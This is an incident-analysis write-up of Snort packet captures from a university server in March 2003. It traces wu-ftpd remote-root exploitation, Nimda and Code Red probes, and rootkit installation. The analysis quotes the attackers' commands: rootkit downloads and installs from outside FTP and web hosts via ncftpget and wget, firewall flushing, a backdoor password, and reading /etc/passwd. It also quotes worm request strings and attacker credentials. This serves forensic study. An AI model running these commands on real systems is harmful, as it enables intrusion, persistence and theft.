Gilberto Ramirez
Analyzing pcap from snort intrusion event

From snort.Mar03:

2003-03-03 09:54:46.554820 62.234.144.113 -> 129.115.30.30 TCP 4168 -> 80
Probing for open HTTP, however port was closed so no response

2003-03-03 13:12:52.345864 202.129.32.227 -> 129.115.30.30 TCP 37795 -> 443
Another probe packet checking HTTPS port, no response

2003-03-03 23:16:50.718342 200.223.51.66 -> 129.115.30.30 TCP 3238 -> 21
FTP Successful guest login on as "anonymous" with password "sun@www.com"

2003-03-03 23:16:51.426186 200.223.51.66 -> 129.115.30.30 TCP 3238 -> 21
FTP anonymous sends a "QUIT" command terminating connection. No Data transferred.
Connection is terminated abruptly after with RST packet

From snort.Mar04:

2003-03-04 01:31:17.147557 211.181.212.10 -> 129.115.30.30 TCP 4260 -> 21
Probing FTP server checking for vulnerable server

2003-03-04 01:31:20.358511 129.115.30.30 -> 211.181.212.10 FTP 21 -> 4260
FTP Dept responds with "*(Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready.*"
Attacker now aware Dept is running a vulnerable version of wu-ftpd.

CVE-2001-0550: Wu-ftpd 2.6.0/1 is vulneralbe to remote attackers and allows execution of commands vi a "~{" argument which is not properly handled by the glob function.
See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2001-0550

2003-03-04 01:31:24.857397 211.181.212.10 -> 129.115.30.30 FTP 4453 -> 21
FTP First attempt at exploitation begins, Attackers signs into ftp servers as "ftp" with password of "mozilla@"

2003-03-04 01:31:24.857397 211.181.212.10 -> 129.115.30.30 FTP 4453 -> 21
FTP RNFR ././
Exploit beings. Attacker is using 7350wurm - x86/linux wu_ftpd remote root exploit found here: https://www.exploit-db.com/exploits/348
Attacker sends RNFR commands to cause a memory leak in wu-ftpd
Builds a fake malloc chunk which will then overwrite return with a malicious address.
If the exploit succeeds, it sends commands "unset HISTFILE;id;uname -a" and then sends shell code. Exploit fails since the server does not reply with "sP"
Attack seems to be automated as a few seconds after obtaining info
on vulnerable wu-ftpd, exploit commences.
Also the attacker does not seem to try again after this initial exploit, which human

attackers would probably do. So this leads me to believe this is automated.

2003-03-04 01:31:40.994250   211.181.212.10 -> 129.115.30.30   FTP 4453 -> 21

FTP CWD (payload)

Exploit payload with x86_wrx payload sent here.

2003-03-04 01:31:44.290792   211.181.212.10 -> 129.115.30.30   FTP 4453 -> 21

FTP CWD ~{ request sent by attacker. At this point, exploit fails to succeed and the server tears down the connection.

From snort.Mar05:

2003-03-05 03:13:03.390781   129.115.30.30 -> 203.239.54.93   FTP 21 -> 1312

FTP Attackers gain knowledge on vulnerable version of wu-ftpd running

2003-03-05 03:13:07.949859   203.239.54.93 -> 129.115.30.30   FTP 1312 -> 21

Successful login as "ftp" password "mozilla@"

Failed x86/linux wu_ftpd remote root exploit, see appendix

2003-03-05 03:13:31.915697   203.239.54.93 -> 129.115.30.30   FTP 1312 -> 21

Last CWD request sent by attacker before exploit fails and dept tears down connection

2003-03-05 22:32:03.065335   66.48.23.4 -> 129.115.30.30   TCP 17300 -> 17300

Strange activity: Request to port 17300, this time from another ip. No attacks seem to have materialized from this probing.

From snort.Mar06:

2003-03-06 03:52:00.250202   129.115.30.30 -> 165.139.234.6   FTP 21 -> 57999

Probing: Attacker probe packet and finds out about vulnerable wu-ftpd

2003-03-06 04:40:20.623520   210.58.87.62 -> 129.115.30.30   TCP 3721 -> 23

TELNET probe port and sends RST packet right after. No data transferred.

2003-03-06 07:18:05.026396   129.115.30.30 -> 212.91.226.162   FTP 21 -> 2580

Probing: Finds vulnerable version of wu-ftpd

2003-03-06 07:18:24.877907   212.91.226.162 -> 129.115.30.30   FTP 4549 -> 21

Failed x86/linux wu_ftpd remote root exploit see appendix

2003-03-06 09:59:54.805481   212.91.226.162 -> 129.115.30.30   TCP 2218 -> 21
2003-03-06 10:00:49.325152   212.91.226.162 -> 129.115.30.30   FTP 2218 -> 21

Failed x86/linux wu_ftpd remote root exploit, see appendix

2003-03-06 16:39:15.284587   217.81.147.226 -> 129.115.30.30   HTTP 4462 -> 80

GET HTTP 1.0 request from client. However not an ordinary get request since it has corrupted headers.. Dept replies with test page for Apache Web
server and tears down connection.

From snort.Mar07:

2003-03-07 01:19:52.468579 129.115.30.30 -> 67.118.74.221 FTP 21 -> 2543
Probing: Attacker aware of vulnerable wu-ftpd

2003-03-07 03:20:12.036588 129.115.30.30 -> 211.219.56.234 FTP 21 -> 53290
Probing: Another attacker aware of vulnerable wu-ftpd

2003-03-07 03:20:19.274515 211.219.56.234 -> 129.115.30.30 FTP 53834 -> 21
Failed x86/linux wu_ftpd remote root exploit, see appendix

2003-03-07 04:52:42.545372 129.115.30.30 -> 80.116.221.212 FTP 21 -> 3016
Probing: Another attacker aware of vulnerable wu-ftpd

2003-03-07 15:54:13.437703 66.169.176.123 -> 129.115.30.30 TCP 2190 -> 80
HTTP GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir
Attempted Nimda exploit targeting Windows machines running ISS 4.0/5.0:
IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder Traversal" vulnerability.
Exploit failed (dept responds 404 page) since only Windows machines are vulnerable, and the fact the dept machine was targeted, tells me this is an automated attack.

See: https://www.securityfocus.com/news/253
See: https://nvd.nist.gov/vuln/detail/CVE-2000-0884

From snort.Mar08:

2003-03-08 01:50:54.732339 202.64.200.68 ->129.115.30.30 TCP 22 -> 22
Strange behavior: Attempted SSH connection from SSH port, however connection not accepted

2003-03-08 08:43:27.978300 4.33.67.50 -> 129.115.30.30 TCP 3059 -> 80
GET /default.ida?NNNNN... Received malformed packet with strange data.
HOST: www.worm.com
Code Red Worm attempted to take advantage of buffer overflow vulnerability in Microsoft Index Server 2.0 and Indexing service in Windows 2000.
CVE-2001-0500: Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and Indexing Service 2000 in IIS 6.0 beta and earlier allows remote attackers to execute arbitrary commands via a long argument to Internet Data Administration (.ida) and Internet Data Query (.idq) files such as default.ida, as commonly exploited by CodeRed.

Exploit failed since we are not running Microsoft Index Server. Dept responds with bad request 400.
See: https://nvd.nist.gov/vuln/detail/CVE-2001-0500
See: https://www.caida.org/archive/code-red/
See: https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-033

2003-03-08 08:43:27.979363   129.115.30.30   4.33.67.50   HTTP 80 -> 3059
HTTP/1.1 400 Bad Request: Server responds with bad request and is not affected by code red.

2003-03-08 08:43:28.149599   4.33.67.50 -> 129.115.30.30   HTTP/XML 3059 -> 80
GET /default.ida?NN... This time received a proper http GET message with code red payload.
However right after RST packet is received and connection is terminated since dept is not vulnerable. This is clearly automated since it is a worm, an exploited machine most likely sent us these messages.

2003-03-08 18:38:52.499281   203.204.87.253 ->129.115.30.30   TCP 2628 -> 80
Failed Code Red exploit, see appendix

2003-03-08 21:32:35.073777   196.3.167.46 -> 129.115.30.30   FTP 1161 -> 21
FTP unsuccessful attempt to login as "anonymous@ftp.microsoft.com" pass "abc@126.com"
This does not seem to be an exploit just yet, perhaps someone is probing dept ftp server. Also, it is strange they knew about UTSA's abc123 username style, telling me this is perhaps a human attempting to break in, unlike the other cases before.

From snort.Mar09:

2003-03-09 01:31:01.317148 ->218.72.13.40 -> 129.115.30.30   TCP 3243 -> 80
Failed COde Red exploit, see appendix

2003-03-09 05:48:02.294159   196.3.167.46 -> 129.115.30.30   FTP 1997 -> 21
FTP Successful logon as "anonymous" pass "Dgpuser@home.com" It looks like this is the same user from Mar08 who attempted to login as "anonymous@ftp.microsoft.com" Once logged in, many commands are sent such as 'CWD /public/' 'MKD 030309125143p' 'CWD /anonymous/public/'. It is clearly automated as requests are being received every few ms. There does not seem to be much info on this online, but I read on a forum this is an automated scanning tool looking for writable directories in an ftp server. If it finds such a directory it would then commence an upload, but it failed in this case since user doesn’t have necessary permissions
See: https://seclists.org/incidents/2001/Aug/417

2003-03-09 09:41:24.614734   61.172.80.156 -> 129.115.30.30   TCP 3776 -> 80
Failed Code Red exploit, see appendix

2003-03-09 10:07:07.964966   12.101.49.170 -> 129.115.30.30   FTP 4094 -> 21

FTP Successful login as "anonymous" pass "Wgpuser@home.com"
Another automated attempt to search for writable directories as detailed previously.
See: https://seclists.org/incidents/2001/Aug/417

2003-03-09 13:36:27.831470   218.149.161.84 -> 129.115.30.30   TCP 3401 -> 80

Failed Code Red Exploit, see appendix

2003-03-09 22:52:10.735108   62.59.37.17 -> 129.115.30.30   TCP 64662 -> 80

Failed Code Red Exploit, see appendix

From snort.Mar10:

2003-03-10 02:04:39.800301   209.74.134.200 -> 129.115.30.30   TCP 3357 -> 21

Probing FTP server, now aware of vulnerable wu-ftpd

2003-03-10 17:32:16.845524   144.135.45.212 -> 129.115.30.30   TCP 1233 -> 80

Failed Code Red Exploit, see appendix

From snort.Mar11:

2003-03-11 03:19:32.120061   211.22.66.51 -> 129.115.30.30   TCP 4549 -> 80

Failed Code Red Exploit, see appendix

2003-03-11 06:06:15.007526   218.252.181.102 -> 129.115.30.30 TCP 2736 -> 80

Failed Code Red Exploit, see appendix

Below first successful exploit using 7350wurm - x86/linux wu_ftpd remote root exploit

2003-03-11 18:05:00.462553   211.219.56.234 -> 129.115.30.30   TCP 56096 -> 21

2003-03-11 18:05:00.462797   129.115.30.30 -> 211.219.56.234   TCP 21 -> 56096

2003-03-11 18:05:00.683716   211.219.56.234   129.115.30.30   TCP 56096 -> 21

TCP Three-way handshake for first successful exploit!

2003-03-11 18:05:28.271749   211.219.56.234 -> 129.115.30.30   FTP 56177 -> 21

New TCP Stream is opened on attacker port 56177. It is the same ordeal as before with this attack, user signs in as "ftp" pass "mozilla@" and begins to send a series FTP RNFR commands as per x86/linux wu_ftpd remote root exploit. However this time it succeeds in executing commands "unset HISTFILE;id;uname -a". This is the same attacker from Mar07, however the same exploit is used.
I checked the payload and it seems to be the same, the only difference
now there are 2 different tcp connections involved in exploitation. Dept responds with id info and machine info. Attacker should have a shell, but they seem to be unaware for now since this is most likely an automated attack

2003-03-11 21:08:53.922902 61.139.76.104 -> 129.115.30.30 TCP 53860 -> 21
2003-03-11 21:08:53.923161 129.115.30.30 -> 61.139.76.104 TCP 21 -> 53860
2003-03-11 21:08:54.524609 61.139.76.104 -> 129.115.30.30 TCP 53860 -> 21

TCP Three-way handshake for 2nd successful exploit by another attacker using the same technique as described above.

2003-03-11 21:09:57.133750 61.139.76.104 -> 129.115.30.30 FTP 54017 -> 21

Same exploit as described above x86/linux wu_ftpd remote root exploit. Same commands were executed "unset HISTFILE;id;uname -a". Both of these exploits seem to be automated as well since they were using default commands in the exploit code, see appendix

2003-03-11 23:59:11.895020 154.5.18.66 -> 129.115.30.30 TCP 1704 -> 21
2003-03-11 23:59:11.895254 129.115.30.30 -> 154.5.18.66 TCP 21 -> 1704
2003-03-11 23:59:11.990729 154.5.18.66 -> 129.115.30.30 TCP 1704 -> 21

TCP Three-way handshake for 3rd successful exploit by another attacker.

2003-03-11 23:59:21.054193 154.5.18.66 -> 129.115.30.30 FTP 1748 -> 21

Same x86/linux wu_ftpd remote root exploit, however new commands were given.
Commands executed:
"**ncftpget -u xlogicus -p dupa16ani 206.253.222.88 . 'xlogic.tgz;tar zxvf xlogic.tgz;cd xl;./install**;"
xlogic seems to be rootkit, but there is no information online about it.

2003-03-11 23:59:21.141362 129.115.30.30 -> 206.253.222.88 TCP 1043 -> 21

Dept makes outgoing TCP connection to ftp server for xlogicus, but TCP handshake does not succeed

From snort.Mar12:

2003-03-12 01:14:39.073492 211.219.56.234 -> 129.115.30.30 FTP 56177 -> 21

TCP Stream from 1st successful exploit from Mar11, since they are using the same TCP ports/ip. Begin executing commands/installing rootkit, and killing previous attackers processes

Commands exec:

```
cd /etc/nmh/
ls
mkdir ...
cd ...
/sbin/ipchains -F
/sbin/iptables -F
ftp -v 65.113.119.133
tar -xxzvf rkt.mp3
cd .rkt/
```

```
./install
passwd adm
plaka
```

FTP site: 65.113.119.133 //likely personal ftp server
Credentials: USER: plaka100 PASS:O4E2u69N

FTP commands:

```
hash
pass
deb
bin
pass
deb
]bin
bin
get rkt.mp3
get adore-0.52.tgz
```

Rootkit "rkt.mp3" installed in directory "/etc/nmh/.../.rkt"
Contents:

```
.rkt/
.rkt/install
.rkt/ssh_host_key
.rkt/ssh_host_key.pub
.rkt/sshd_config
.rkt/ssh_random_seed
.rkt/curatare/
.rkt/curatare/ps
.rkt/curatare/pstree
.rkt/curatare/chattr
```

...and more

2003-03-12 01:15:31.758101   65.113.119.133   129.115.30.30   FTP 1044 -> 21

FTP stream opened executing commands given in the prior stream noted just above.

2003-03-12 01:15:31.694685   65.113.119.133 -> 129.115.30.30   TCP 4574 -> 113

TCP stream relaying ports in prev ftp stream "1044,21"

2003-03-12 01:16:37.160735   65.113.119.133 -> 129.115.30.30   TCP 20 -> 1045

TCP Stream transferring all “rtk.mp3” data from attacker ftp server

2003-03-12 01:16:47.562015   65.113.119.133 -> 129.115.30.30   TCP 20 -> 1046

TCP Stream transferring all “adore-0.52.tgz” data from attacker ftp server

2003-03-12 01:17:20.366875   64.156.215.6 -> 129.115.30.30   SMPT 25 -> 1047

SMTP from **root@dept.cs.utsa.edu** to rootez_2002@yahoo.com
During last phase of rkt.mp3 installation, process sends email to
with information on machine such as ip addr, disk info, ping stats to
rootez_2002@yahoo.com

2003-03-12 01:17:44.500481   81.18.70.116 -> 129.115.30.30   TCP 62527 → 173

TCP Encrypted SSH communications, only readable info is
"SSH-1.5-PuTTY-Release-0.52"

2003-03-12 01:19:45.812664   81.18.70.116 -> 129.115.30.30   TCP 62531 -> 23

TELNET Login into Dept using USER: adm PASS: plaka
Issues command "kill -9 0"

2003-03-12 01:23:33.487399   63.216.210.130 -> 129.115.30.30   TCP 2269 -> 80

Failed Nimda exploit, see Appendix

2003-03-12 07:20:07.069470   154.5.18.66 -> 129.115.30.30   FTP 1748 -> 21

Stream of 3rd successful exploit now begins executing commands in dept. Looks like a human is running these commands now as they were able to kill other attackers processes by pid

Commands exec:

```
id
ftp ftp.geocities.com
tar zxvf smk.tgz
cd smk
./install
cd ..
w
ls -a
/sbin/pidof sshd
/sbin/pidof identd
socklist
/sbin/ipchains -I input -j ACCEPT -s 0/0 -d 0/0 -p tcp --destination-port 20202
hostnaem -i
hostname -i
cd /usr/bin/".. "/
wget www.geocities.com/beaststeam/psybnc.tgz
ls -a
tar zxvf psybnc.tgz
rm -rf psybnc.tgz
mv psybnc xbnc
cd xbnc
mv psybnc xbnc
./xbnc
```

```
/usr/sbin/lsof|grep TCP
ps ax
kill -9 1190 1190 1418 1418
ps ax
/usr/sbin/lsof|grep TCP
ls -a
cd ..
w
cat /etc/passwd
ping 129.115.30.30 -s 1986
```

FTP site: ftp.geocities.com
Credentials: USER "beaststeam" PASS "madroghez1u"

FTP Commands:

```
hash
get smk.tgz
bye
```

SMK Rootkit contains:

```
smk/
smk/lg
smk/install
smk/mail
smk/write
smk/v
smk/wroot
smk/wscan
smk/wu
smk/read
smk/.d
smk/move
smk/remove
... and more
```

Psybnc IRC bouncer installed in "/usr/bin/".. "/xbnc"
Contains:

```
psybnc/
psybnc/help/
psybnc/help/ADDLOG.TXT
psybnc/help/DELLOG.TXT
psybnc/help/LISTLOGS.TXT
psybnc/help/PLAYTRAFFICLOG.TXT
psybnc/help/PROXY.TXT
psybnc/help/SETLEAVEMSG.TXT
psybnc/help/SETAWAYNICK.TXT
```

```
psybnc/help/ADDAUTOOP.TXT
psybnc/help/DELAUTOOP.TXT
psybnc/help/LISTAUTOOPS.TXT
psybnc/help/SRELOAD.TXT
psybnc/help/ADDALLOW.TXT
psybnc/help/ADDASK.TXT
psybnc/help/ADDBAN.TXT
psybnc/help/ADDDCC.TXT
psybnc/help/ADDNETWORK.TXT
```

... and more

2003-03-12 07:20:30.935703   154.5.18.66 -> 129.115.30.30   TCP 1749 -> 21

FTP Attacker is connecting to wu-ftpd again, checking to see if wu-ftpd patch was successful

2003-03-12 07:20:30.839656   129.115.30.30 -> 154.5.18.66   FTP 21 -> 2080

"ftp" is a user now in dept server as dept responds with incorrect credentials, default settings using x86/linux wu_ftpd remote root exploit will not work anymore

2003-03-12 07:21:47.340877   66.218.77.42 -> 129.115.30.30   FTP 21 -> 1048

FTP stream executing ftp commands previously noted above

2003-03-12 07:21:48.007570   66.218.77.42 -> 129.115.30.30   TCP 20 -> 1049

FTP stream transferring smk.tgz

2003-03-12 07:22:22.233257   129.115.30.30 -> 216.168.230.137 SMTP 1050 -> 25

SMTP From **root@dept.cs.utsa.edu** to **some@cacanar.com**

Message contains info dept info such as disk info, ping stats, routing table

2003-03-12 07:26:06.219671   129.115.30.30 -> 66.218.77.70   HTTP 1051 -> 80

HTTP GET, wget tcp stream opened by attacker downloading psybnc.tgz from geocities.com:80

2003-03-12 07:26:53.156121   213.233.72.174 -> 129.115.30.30   TCP 1100 -> 40401

TCP stream for PSYBNC IRC data

Credentials: NICK "smoker" USER "smoke" pass "mlihifi"

Attacker adds these IRC servers:

```
addserver diemen.nl.eu.undernet.org:6667
addserver Elsene.Be.Eu.undernet.org:6667
addserver Flanders.Be.Eu.Undernet.org:6667
addserver geneva.ch.eu.undernet.org:6667
addserver Moscow.RU.EU.Undernet.org:6667
addserver Oslo.NO.EU.Undernet.org:6667
addserver Atlanta.GA.US.Undernet.org:6667
addserver mesa.az.us.undernet.org:6667
addserver washington.dc.us.undernet.org:6667
```

2003-03-12 07:37:58.081838 195.121.6.196 -> 129.115.30.30 IRC 6667 -> 1052

IRC PRV MSG "da", "e al meu", "iauite ba sa `mi bag pula",

Attacker seems to be Romanian based on IRC packets. I translated and it means: “Yes It's mine” They also seemed to be running a scam, as there was some information relayed about transferring 2.5 million dollars to an account.

2003-03-12 07:27:13.082797 129.115.30.30 -> 195.121.6.196 TCP 113 -> 41136

TCP stream transferring port numbers “1052,6667” of previous IRC stream

2003-03-12 07:27:25.084894 129.115.30.30 -> 193.109.122.5 TELNET 23 -> 2029

TELNET connection however no data transferred

2003-03-12 07:28:36.164263 193.109.122.5 -> 129.115.30.30 HTTP 4707 -> 80

HTTP Connect vulnerability

Upon receiving a CONNECT request, vulnerable products act as a TCP proxy, tunneling the conversation. This can be used to launch attacks against internal machines or to, for example, use an internal mail server as an open relay. The attack failed since there was no supported evidence that attackers were made from this connection.

See: https://www.securityfocus.com/bid/4131/discuss

2003-03-12 07:30:07.588395 80.14.147.241 -> 129.115.30.30 FTP 4686 -> 21

Received an HTTP get request to ftp port however connection terminated right after with RST packet

2003-03-12 08:17:58.398879 61.255.15.124 -> 129.115.30.30 TCP 1117 -> 21

2003-03-12 08:18:06.462833 61.255.15.124 -> 129.115.30.30 FTP 1278 -> 21

Failed x86/linux wu_ftpd remote root exploit, see appendix

Appendix:

x86/linux wu_ftpd remote root exploit: CVE-2001-0550

Attacker sends series of FTP RNFR commands to cause a memory leak in wu-ftpd

Builds a fake malloc chunk which will then overwrite return with a malicious address.

If exploit succeeds, it sends "commands "cwd ~{ unset HISTFILE;id;uname -a" and then sends shell code

Exploit fails since the server does not reply with "sP"

http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2001-0550

https://www.exploit-db.com/exploits/348

Nimda Worm: CVE-2000-0884

HTTP GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir

Attempted exploit targeting Windows machines running ISS 4.0/5.0:
IIS 4.0 and 5.0 allows remote attackers to read documents outside of the web root, and possibly execute
arbitrary commands, via malformed URLs that contain UNICODE encoded characters, aka the "Web Server Folder
Traversal" vulnerability.
After browsing online, this seems to be known as the Nimda worm. A self-executing virus attacking
Microsoft IIS. Exploit failed (dept responds 404 page) since only Windows machines are vulnerable, and
the fact the dept machine was targeted, tells me this is an automated attack.
https://www.securityfocus.com/news/253
https://nvd.nist.gov/vuln/detail/CVE-2000-0884

Code Red Worm: CVE-2001-0500

GET /default.ida?NNNNN... Received malformed packet with strange data.
Code Red Worm attempted exploit attempts to take advantage of buff ovf vulnerability in Microsoft Index Server 2.0 and Indexing service in Windows 2000.
Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and Indexing Service 2000 in IIS 6.0 beta
and earlier allows remote attackers to execute arbitrary commands via a long argument to Internet Data
Administration (.ida) and Internet Data Query (.idq) files such as default.ida, as commonly exploited by CodeRed.
Exploit failed of course since exploit not intended for unix machines, dept responds with bad request 400.
https://nvd.nist.gov/vuln/detail/CVE-2001-0500
https://www.caida.org/archive/code-red/
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2001/ms01-033